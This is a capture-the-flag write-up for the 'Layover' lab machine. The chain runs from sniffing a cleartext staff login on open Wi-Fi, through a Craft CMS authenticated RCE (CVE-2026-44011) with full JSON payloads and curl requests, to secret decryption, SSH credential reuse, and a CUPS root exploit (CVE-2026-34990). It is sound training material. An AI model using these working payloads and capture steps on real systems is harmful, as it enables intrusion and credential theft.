Captured a staff member's cleartext Miles login on open airport Wi-Fi, reused it against Craft CMS, chained an authenticated element-search behavior injection to read the application secrets and decrypt the mail-relay credential, then pivoted to aporter and rooted the portal through a CUPS 2.4.16 local token leak.
- WiFi
- Cleartext HTTP
- Craft CMS
- Yii
- CUPS
Introduction
Layover is a Medium Linux machine built as an airport jumpbox. The public scan is deliberately boring: only SSH and RDP are exposed. The real target is behind the jumpbox's second network interface, an open passenger Wi-Fi network that carries a staff Miles portal and a Craft CMS installation.
The chain starts with the supplied contractor account on the jumpbox. That account has full sudo, but the jumpbox is only a container and holds no flags. The useful move is to connect its Wi-Fi radio to HTB International WiFi, put the second radio into monitor mode, and passively capture a staff member logging into the Miles portal over plain HTTP. The captured credentials work against Craft CMS on the internal portal, where a Content Editor can download the database and reach the element-search endpoint. Craft 5.9.8 is vulnerable to an authenticated Yii behavior-injection RCE (CVE-2026-44011). From www-data, the application's .env exposes the Craft security key and database password; the key decrypts the mail-relay password in the htbairways_settings table, and that password is reused by the local aporter account over SSH. aporter can read the user flag, and CUPS 2.4.16 (CVE-2026-34990) provides the final root file-write primitive.
The flags are redacted here.
1. Initial Enumeration
A full TCP scan finds only two services:
nmap -p- --min-rate 3000 -T4 -Pn -oN scans/tcp_full.txt 10.129.136.53
PORT STATE SERVICE
22/tcp open ssh
3389/tcp open ms-wbt-server
Service/version detection:
nmap -sV -sC -Pn -p22,3389 \
--script "rdp-enum-encryption,ssl-cert" \
-oN scans/services.txt 10.129.136.53
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.19 (Ubuntu Linux; protocol 2.0)
3389/tcp open ms-wbt-server Microsoft Terminal Service
| rdp-enum-encryption:
| Security layer
| CredSSP (NLA): SUCCESS
| CredSSP with Early User Auth: SUCCESS
| Native RDP: SUCCESS
| RDSTLS: SUCCESS
| SSL: SUCCESS
The supplied credential is for RDP, not SSH:
DISPLAY=:1 xfreerdp3 /v:10.129.136.53 /u:contractor /p:'Contractor2026!' \
/cert:ignore /size:1280x800 /scale:100 /gdi:sw /window-position:0x0 /t:Layover
The desktop is XFCE on Ubuntu 24.04.4. The host is airside-ws01:
contractor@airside-ws01:~$ id
uid=1001(contractor) gid=1001(contractor) groups=1001(contractor),27(sudo),111(netdev),121(wireshark)
The contractor account has full password-protected sudo:
User contractor may run the following commands on airside-ws01:
(ALL : ALL) ALL
That is useful for local control, but the jumpbox is a container and has no user.txt or root.txt. Its only network interface is eth0 (10.159.143.45/24), and it carries two down Wi-Fi radios:
wlan2 DOWN
wlan3 DOWN
eth0@if11 UP 10.159.143.45/24
The desktop autostart script /usr/local/bin/layover-portal-watch is the hint: it waits for NetworkManager to report a connected wlan* device and then opens Chromium on the airport captive portal. The intended path is the internal passenger Wi-Fi, not the exposed management services.
2. The Airport Wi-Fi Pivot
nmcli sees one open SSID on channel 6:
IN-USE SSID BSSID CHAN SIGNAL SECURITY
HTB International WiFi 02:00:00:00:00:00 6 100 --
Join it with wlan2 and reserve wlan3 for monitoring:
sudo nmcli device wifi connect 'HTB International WiFi' ifname wlan2
sudo nmcli device set wlan3 managed no
sudo ip link set wlan3 down
sudo iw dev wlan3 set type monitor
sudo ip link set wlan3 up
sudo iw dev wlan3 set channel 6
wlan2 receives 10.13.37.182/24. The gateway is 10.13.37.1, and internal DNS resolves:
10.13.37.1 wifi.international.htb
10.13.37.10 portal.international.htb
The splash page is at http://wifi.international.htb/ and links to the passenger portal:
The staff notice on the splash page is the signpost:
HTB Airways staff notice: the HTB Airways Miles employee portal is reachable on
this passenger network at http://portal.international.htb/miles/.
The portal is 10.13.37.10, a separate host from the jumpbox. A scan of the internal /24 finds the portal and a staff client at 10.13.37.132; the staff client exposes only RDP, but it periodically logs into the Miles portal.
3. Passive Credential Capture
The Miles login is served over plain HTTP on an open Wi-Fi network. Put wlan3 into monitor mode, capture the channel, and filter for HTTP form submissions:
sudo tcpdump -i wlan3 -n -s0 -w /tmp/channel6.pcap
tshark -r /tmp/channel6.pcap \
-Y 'http.request.method == "POST"' \
-T fields -e frame.time -e ip.src -e ip.dst \
-e http.host -e http.request.uri -e http.file_data
The capture includes:
10.13.37.132 -> 10.13.37.10
POST /miles/login.php
username=jenny&password=Fl1ghtDeck2026!
The login page even documents the weakness in a comment:
<!-- NOTE: the form is a plain HTML POST to /miles/login.php with fields
username/password — this is the intended cleartext login. Do not add JS
that intercepts or transforms the submission. -->
The password is not checked for known members, but the username is looked up in the member database. Signing in as jenny produces a real Gold Member profile:
Jenny Crawford
Gold Member
Member HA-4471880 · Home HTB · Since 2021
Available Miles 48,250
Upcoming booking KS7X2M — HTB → LHR · HA-118
The same credential is reused for the Craft CMS control panel.
4. Craft CMS and the Database Backup
portal.international.htb runs Craft CMS. The control panel is /admin; the login action is:
POST /index.php?p=admin/actions/users/login HTTP/1.1
Host: 10.13.37.10
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
loginName=jenny&password=Fl1ghtDeck2026!&CRAFT_CSRF_TOKEN=<token>
A successful login redirects to /admin/dashboard and sets the identity cookie. The dashboard reports Craft CMS Solo 5.9.8. Jenny is a Content Editor, not an administrator, but the CP exposes the utilities to her:
Dashboard
Utilities
System Report
PHP Info
Queue Manager
Caches
Deprecation Warnings
Database Backup
Find and Replace
Migrations
The System Report gives the important paths:
PHP 8.3.6
MariaDB 10.11.14
Craft Craft Solo 5.9.8
Yii 2.0.54
Web root /var/www/portal
Module htbairways (modules\htbairways\Module)
The Database Backup utility is reachable from the same session. It accepts a POST with the CP CSRF token and returns a ZIP:
curl -sS -b /tmp/cj3 -c /tmp/cj3 -X POST \
'http://10.13.37.10/index.php?p=admin/actions/utilities/db-backup-perform-action' \
--data-urlencode 'action=utilities/db-backup-perform-action' \
--data-urlencode 'downloadBackup=1' \
--data-urlencode "CRAFT_CSRF_TOKEN=$TOKEN" \
-o /tmp/backup.bin
Content-Type: application/zip
Content-Disposition: attachment;
filename="htb-international--2026-10-28-163852--v5.9.8.sql.zip"
The dump contains the custom htbairways_settings table:
INSERT INTO `htbairways_settings` VALUES
(1,'mailRelayPassword','u0E7OgbBeWhhPn1HajsFMDg0ZDJhNzUwZTUyNGMxYjBlZDk0MGFkZWE5MmEyMzc0ZjhmMmM4OGNiNTRiNDAzZTA2YWFjM2U5OWU2YWIzMGUPrGNmIwqUOPL3Y0gahxRF5wvwsBHdA3Pf4+d1XnQ4I3W/cqDF7Pr/58qVfPoNl5w=','2026-07-16 03:19:52','2026-07-16 03:19:52'),
(2,'mailRelayHost','mail.htbairways.htb','2026-08-11 13:31:23','2026-08-11 13:31:23'),
(3,'mailRelayPort','587','2026-08-11 13:31:23','2026-08-11 13:31:23'),
(4,'mailRelayUser','aporter','2026-08-11 13:31:23','2026-08-11 13:31:23');
It also contains the miles_members rows, including Jenny's HA-4471880 / KS7X2M booking, and the Craft user hashes. The encrypted mail-relay password is the interesting value: it is the credential for the aporter service account.
5. Craft CMS Authenticated RCE (CVE-2026-44011)
Craft 5.9.8 is in the affected range for CVE-2026-44011 / GHSA-qrgm-p9w5-rrfw. The /admin/actions/element-search/search endpoint turns the request-controlled condition into an ElementCondition and then into a FieldLayout without Component::cleanseConfig(). Yii's special object-construction keys (__class, as ..., on *) therefore take effect, and the FieldLayout initialization triggers a same-request event.
The advisory payload attaches yii\behaviors\AttributeTypecastBehavior and uses Psy\Readline\Hoa\ConsoleProcessus::execute as the typecast callable:
{
"elementType": "craft\\elements\\Category",
"siteId": 1,
"search": "",
"condition": {
"class": "craft\\elements\\conditions\\ElementCondition",
"elementType": "craft\\elements\\Category",
"fieldLayouts": [{
"as poc": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [{
"attributeTypes": {
"typecastBeforeSave": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"]
}
}]
},
"on *": "self::beforeSave"
}]
}
}
One detail matters in practice. AttributeTypecastBehavior::typecastAttributes() reads the owner's attribute value, not a value from the behavior's own config:
foreach ($attributeTypes as $attribute => $type) {
$value = $this->owner->{$attribute};
...
$this->owner->{$attribute} = $this->typecastValue($value, $type);
}
Putting the command in the behavior's typecastBeforeSave property therefore calls ConsoleProcessus::execute() with an empty owner attribute, which fails with:
ValueError: shell_exec(): Argument #1 ($command) cannot be empty
The working carrier is a public string property on FieldLayout that is not overwritten during layout creation. thumbFieldKey is such a property. The payload becomes:
{
"elementType": "craft\\elements\\Category",
"siteId": 1,
"search": "",
"condition": {
"class": "craft\\elements\\conditions\\ElementCondition",
"elementType": "craft\\elements\\Category",
"fieldLayouts": [{
"thumbFieldKey": "install -m 644 /var/www/portal/.env /tmp/portal_env_www.txt",
"as poc": {
"__class": "yii\\behaviors\\AttributeTypecastBehavior",
"__construct()": [{
"attributeTypes": {
"thumbFieldKey": ["Psy\\Readline\\Hoa\\ConsoleProcessus", "execute"]
}
}]
},
"on *": "self::beforeSave"
}]
}
}
ConsoleProcessus::execute() calls escapeshellcmd() by default, so the command is deliberately free of shell metacharacters. install copies and sets the mode of .env in one step. The request uses Jenny's session and the CP token:
curl -sS -b /tmp/cj3 -c /tmp/cj3 -X POST \
'http://10.13.37.10/admin/actions/element-search/search' \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'X-Requested-With: XMLHttpRequest' \
-H "X-Csrf-Token: $TOKEN" \
--data-binary @/tmp/rce_thumb.json
The endpoint returns a search result (or a 500 while the layout is being built), and the command runs as www-data. The proof is the file created by the command:
-rw-r--r-- 1 www-data www-data 753 Oct 28 17:12 /tmp/portal_env_www.txt
The same primitive can run any metacharacter-free command, for example cp -r /var/www/portal/modules/htbairways /tmp/htbairways_src.
6. Application Secrets and the Mail Relay
The copied .env contains the Craft security key, database credentials, and site URL:
CRAFT_SECURITY_KEY=IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craft
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftDB_pw_2026
PRIMARY_SITE_URL=http://portal.international.htb/
CRAFT_ENABLE_TWIG_SANDBOX=true
The htbairways module protects mailRelayPassword with Yii's Security::encryptByKey, keyed by the Craft security key. With both the ciphertext and the key readable by the web user, the encryption boundary collapses. Decrypt it with the application's own autoloader and security class:
php -r 'require "/var/www/portal/vendor/autoload.php";
$s = new yii\base\Security();
echo $s->decryptByKey(base64_decode($argv[1]), $argv[2]), "\n";' \
'u0E7OgbBeWhhPn1HajsFMDg0ZDJhNzUwZTUyNGMxYjBlZDk0MGFkZWE5MmEyMzc0ZjhmMmM4OGNiNTRiNDAzZTA2YWFjM2U5OWU2YWIzMGUPrGNmIwqUOPL3Y0gahxRF5wvwsBHdA3Pf4+d1XnQ4I3W/cqDF7Pr/58qVfPoNl5w=' \
'IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr'
Skyp0rt_Relay!26
The recovered credential is:
aporter:Skyp0rt_Relay!26
The local aporter account accepts it over SSH:
uid=1001(aporter) gid=1001(aporter) groups=1001(aporter)
portal
/home/aporter
The user flag is in /home/aporter/user.txt:
<REDACTED>
aporter has no sudo rights. The remaining boundary is the local CUPS service.
7. Root Through CUPS 2.4.16 (CVE-2026-34990)
CUPS 2.4.16 is affected by CVE-2026-34990 / GHSA-c54j-2vqw-wpwp. The flaw is a local authorization-token disclosure:
- An unprivileged local user creates a temporary printer with a
device-uripointing at an attacker-controlled localhost IPP service. cupsdconnects to that listener and is challenged withWWW-Authenticate: Local trc="y".cupsdretries with a reusableAuthorization: Local <token>header, which the listener captures.- The token is reused against the CUPS admin interface to create a
file:///...queue. A race with the background validation can persist the queue as shared. - Printing raw data to the queue opens the target path as root with
O_WRONLY|O_CREAT|O_TRUNC.
The de-harnessed PoC targets the already-running system CUPS daemon on 127.0.0.1:631. It was staged on the jumpbox and fetched by aporter over the internal HTTP server:
# jumpbox
python3 -m http.server 8000 --directory /tmp
# portal, as aporter
curl -sS http://10.13.37.182:8000/cve.py -o /tmp/cve.py
The safe --check mode captured the Authorization: Local token but lost the file-write race after eight attempts. The full mode uses a sudo -n id check after each print instead of inspecting /etc/sudoers.d (which is not traversable by aporter), and it increases the race window:
python3 -u /tmp/cve.py --attempts 20 --iterations 200 \
-c "id; hostname; cat /root/root.txt; ls -la /root"
[*] Triggering CUPS token leak as aporter...
[+] Captured CUPS Local authorization token
[*] File-write race: attempt 1/20, queue cve34990f95604269
[-] No root file yet (last HTTP/IPP result: Reply(http=200, status=0))
[*] File-write race: attempt 2/20, queue cve34990f47919522
[+] Root access confirmed; starting requested action
uid=0(root) gid=0(root) groups=0(root)
portal
<REDACTED>
total 36
drwx------ 6 root root 4096 Sep 23 13:14 .
drwxr-xr-x 21 197108 197121 4096 Sep 23 13:14 ..
-rw------- 1 root root 33 Oct 28 16:10 root.txt
The root flag is read directly from /root/root.txt:
<REDACTED>
The PoC's teardown removes the temporary sudoers fragment. A follow-up sudo -n id as aporter returns sudo: a password is required, confirming the cleanup.
8. Attack Chain
contractor RDP on layover.htb
↓
airside-ws01 (jumpbox, full sudo, no flags)
↓
HTB International WiFi (open, channel 6)
↓
passive monitor capture of jenny:Fl1ghtDeck2026!
↓
Craft CMS 5.9.8 as Content Editor
↓
Database Backup → htbairways_settings (aporter + encrypted mail password)
↓
CVE-2026-44011 element-search behavior injection → www-data
↓
.env → CRAFT_SECURITY_KEY + DB password
↓
decrypt mailRelayPassword → aporter:Skyp0rt_Relay!26
↓
SSH as aporter → user.txt
↓
CVE-2026-34990 CUPS local token leak + file:// queue race
↓
root-owned sudoers fragment → /root/root.txt
Conclusions
- The external scan was a decoy. SSH and RDP were the only exposed ports, but the jumpbox's second network interface held the actual target. The initial foothold was not a remote exploit; it was a network-position problem.
- Open Wi-Fi plus cleartext HTTP is credential exposure. The staff client sent
jenny's password to/miles/login.phpin a URL-encoded POST. A monitor-mode radio on the same channel was enough to recover it. - Craft's Content Editor role was broader than it looked. Jenny could not open
/admin/settings, but she could download the database and reach the element-search action.CRAFT_ALLOW_ADMIN_CHANGES=falsedid not protect the Yii object-construction path. - Yii behavior injection is about the object graph, not a single parameter. The behavior only executes the typecast callable against the owner's attribute. The working payload used a public
FieldLayoutstring property (thumbFieldKey) as the command carrier, and avoided shell metacharacters becauseConsoleProcessus::execute()escapes them. - Encrypted application secrets are only as strong as key separation. Once
www-datacould read.env, the Craft security key and database password were both available, and the module's encrypted mail-relay password decrypted with the application's own code. - Credential reuse crossed the last application boundary. The mail-relay password was also the SSH password for
aporter, which provided the user flag. - CUPS turned a local token leak into root. The race was the only unreliable part: the safe check lost it, while the full mode with more attempts won on the second try and wrote a sudoers fragment as root.
References
- Craft CMS advisory GHSA-qrgm-p9w5-rrfw / CVE-2026-44011: https://github.com/craftcms/cms/security/advisories/GHSA-qrgm-p9w5-rrfw
- OpenPrinting CUPS advisory GHSA-c54j-2vqw-wpwp / CVE-2026-34990: https://github.com/OpenPrinting/cups/security/advisories/GHSA-c54j-2vqw-wpwp
- CUPS 2.4.16 de-harnessed PoC (adapted): https://github.com/bara-almustafa/CVE-2026-34990-poc
- Craft CMS 5.9.8 element-search PoC (payload reference): https://github.com/khush-613/cve-2026-44011-poc
- Yii 2
AttributeTypecastBehavior: https://www.yiiframework.com/doc/api/2.0/yii-behaviors-attributetypecastbehavior - Craft CMS configuration and
.env: https://craftcms.com/docs/5.x/configure.html